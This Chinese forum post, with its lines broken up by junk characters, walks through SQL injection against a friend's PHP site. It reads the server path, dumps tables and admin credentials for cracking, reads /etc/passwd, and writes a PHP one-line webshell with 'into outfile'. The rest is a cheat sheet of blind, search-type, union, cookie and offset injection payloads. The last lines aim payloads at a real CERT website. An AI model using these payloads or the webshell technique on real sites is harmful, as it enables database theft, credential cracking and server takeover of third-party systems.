我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~* i$ i @6 e4 r( h1 [
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
8 S0 N6 B, p5 O+ s% {/ n6 H9 Z我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
6 D; I) _! t6 G' z如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
: D% N2 G: O' F/ I# Z$ @ h1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,); B6 r. F0 a+ R9 s, R
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:5 h: k$ W1 B/ L8 O8 P+ }; v
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
1 j% [# ^+ I1 S( e! M( w( V/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
' I$ X3 M1 I4 H' l
/ g2 M3 J/ s/ s; Z6 S2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
: }, m$ w {6 k) K$ o+ K1 {" G3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意1 q: L" K8 l3 O5 l, X- u* R8 n
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息8 \- `8 c$ s2 L/ n
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
' q( J, f% ^+ Q: l有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
0 `; e6 r/ P ?, n: y2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
6 s% P# A+ ^7 ^: S5 l: y- _' y我就用的是第二个思路,3 o. Q2 U! }) W, r, R8 u' N
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- 4 t$ w* e6 J& _
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
- r* m( X& O7 Z, j提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--; _/ O3 k3 X) Y, W
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
: @ G, _7 H7 v2 l' H8 s5 B+ q7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????9 p0 f7 ~( u0 l2 m) b+ i
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd....." N6 I4 d3 p- L& N9 r; F
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 -- w# j8 R9 n3 n
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
I8 ~! r0 L2 w& _' c( D. ^调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
% N/ o' f1 e5 c* w: B下面是一些很普遍注入方式资料:' M% {. p, m. f: [
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''=' M9 D) D% \: C
拆半法
* D0 F( }8 ]8 d2 w! N######################################
6 a, \- k' b) N! `, t8 ~, sand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。0 y5 O. R- c; v+ Z: W
and exists (select * from admin)
0 H- S5 P7 ]6 ?) Band exists(select id from admin). C* m s9 t; m' @* P# @, d
and exists(select id from admin where id=1)
- L3 S* ? r8 t @' ]) m# Uand exists(select id from admin where id>1)
6 z$ J0 @+ U6 m然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
0 ^( k" q; }/ I( sand exists (select username from admin)- O; E8 n0 P! ^; V0 H) a. X! _
and exists (select password from admin), v, L( x$ m5 f5 i2 }9 x* h
and exists (select id from admin where len(username)<10 and id=1)9 I( V# W9 ~+ C2 S
and exists (select id from admin where len(username)>5 and id=1)
9 d! ]9 O) ]8 _and exists (select id from admin where len(username)=6 and id=1)/ }) d, G F' `$ C
and exists (select id from admin where len(password)<10 and id=1)
z' v! R3 G" h$ V% l* }& cand exists (select id from admin where len(password)>5 and id=1)
3 l9 H/ n5 D* C" f: c" A7 c2 M. Oand exists (select id from admin where len(password)=7 and id=1)# K; S% \1 Z- T9 k4 l# a% k$ \5 c
and (select top 1 asc(mid(username,1,1)) from admin)=97& T# m! t- q% V, _3 W
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。' |( b( D/ \) k r' b6 z
猜第二位把username,1,1改成username,2,1就可以了。4 g. W! h/ K# f# Z/ j6 Y2 y% r- F/ S
猜密码把username改成password就OK了+ U9 y' @& i6 \3 c$ m
##################################################
* I7 F! D" U5 Q0 | I% F4 x搜索型注入1 h1 Y* P& M3 q& H3 b; h& i- L
##################################
9 S( G" W3 `8 g5 f%' and 1=1 and '%'='0 Q+ M9 x3 F! N( e$ _4 N6 ^2 {% P
%' and exists (select * from admin) and '%'='
. P, p3 D. J& O/ A$ }1 y' H" t: s%' and exists(select id from admin where id=1) and '%'=' V2 `0 m8 R! A: R! W
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='2 T. c- C5 l$ i, J* d$ x3 \, o
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
& A/ i% Z% T7 |* u5 Q+ j%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
2 ?- v$ u7 T% i5 I( _) I这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
6 I: k2 j# ?8 y! P+ s对于MSSQL数据库,后面可以吧 and '%'='换成--, P5 i" ]9 P' r& a6 E7 E
还有一点搜索型注入也可以使用union语句。+ X4 V; }$ q/ h7 K4 v6 a
######################################################## g) r5 B V+ ~. h' Z+ N
联合查询。
! E) [% C# D3 `/ q/ e0 { B$ j) }: G#####################################
" @- d1 _# _. w2 ?, porder by 10" D7 p7 w' B4 ~/ \. Q
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
% o0 _/ k. n* q: e' w+ g- z/ jand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
`. ~- v( z! s; n% ~3 dand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
0 h- Q: M; O, d很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)! _2 P( Q$ R, g7 H y) o- s5 I' R
###################################
; C! @' z! W5 g" S. zcookie注入
8 V; g8 ]5 }: J5 G: O( |###############################
) _& ]* s- l) S& S! V& @http://www.******.com/shownews.asp?id=127
- ?* _8 b/ O1 [( O6 p7 Nhttp://www.******.com/shownews.asp
( m' v& G+ Q$ kalert(="id="+escape("127"));
$ }; l$ w- R: h+ N1 ~alert(="id="+escape("127 and 1=1"));6 N& C- e; {' Y% o; E
alert(="id="+escape("127 order by 10"));: ]* X& `" A6 u! j# F$ f
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
9 @: Q0 Y* h: h9 F# @! |. m- falert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));/ u8 j. q' j" O) M* p2 J9 v
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。7 ^4 y+ J( a( z3 `) l& b
###################################/ u4 _% X: D; G' x0 x& T0 n( a
偏移注入) K9 U' u' f$ }, N
###########################################################3 {! H' {. N! I: D6 A; d: b
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin& E! m7 u$ T, C$ Y# _8 s" P
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin8 K+ g/ M% \$ {. N6 u' w
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
0 Z3 @) }& b' T: {( wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
' l: g2 }8 I! |2 Y2 tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
* W; J$ N$ q q: O( punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
2 ^* O6 B9 F. x3 B# {9 nunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on% |/ h3 l1 {. I+ w* x+ u* C
a.id=d.id)
5 x+ J* a: D7 Z! O* hand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)9 j) W3 Y5 C- J1 Y7 d" f+ X/ C
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) - g( ^0 z4 S0 W7 L
3 _$ n& V& m2 D; n% r
============================================================================================================
* ^6 u6 G- `2 c# J+ B0 J1.判断版本
% m `- {7 f- w+ _. band ord(mid(version(),1,1))>51. u' o6 U+ R. p" K9 L I4 h
返回正常,说明大于4.0版本,支持ounion查询5 r) t1 ]; k3 l' y4 q1 l( P
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解5 K: | i" Q; a$ D5 q. h) M# h
and 2=4 union select 1,2,3,4,5,6,7,8,9--
. `6 X. j% K3 e3.查看数据库版本及当前用户,
; X3 p5 L0 S9 P# j# tand 2=4 union select 1,user(),version(),4,5,6,7,8,9--* _2 J. q; J6 R
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
/ V/ a0 R! s5 V" R; \- Z4.判断有没有写权限* e0 b+ K! H O+ ]: {
and (select count(*) from MySQL.user)>0-- / \# v0 }4 D9 w+ K" ^6 o4 y, ]
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
0 X* I; X- F* R9 L/ z9 J用不了这个命令,就学习土耳其黑客手法,如下
' n% b T) [- ^' ^0 Nand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
$ P4 E6 V2 F+ u- ^- r6.爆表,爆库
3 n* i+ e8 s- G! Gand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
) Z0 }0 ?5 H+ J7 _2 X7.爆列名,爆表
% V; S, x1 V$ B1 a: c0 L9 J- }and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
0 k/ {. S" I, q/ P$ M8.查询字段数,直接用limit N,1去查询,直接N到报错为止。5 ?0 A9 y) p/ d7 j" A9 J+ ~
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
: \! `$ p. J6 d" R# f* n, Z9.爆字段内容
5 o) F1 m0 F4 a# @" |' K# F9 Wand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--2 |8 P. X4 s4 V* d0 o: }
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |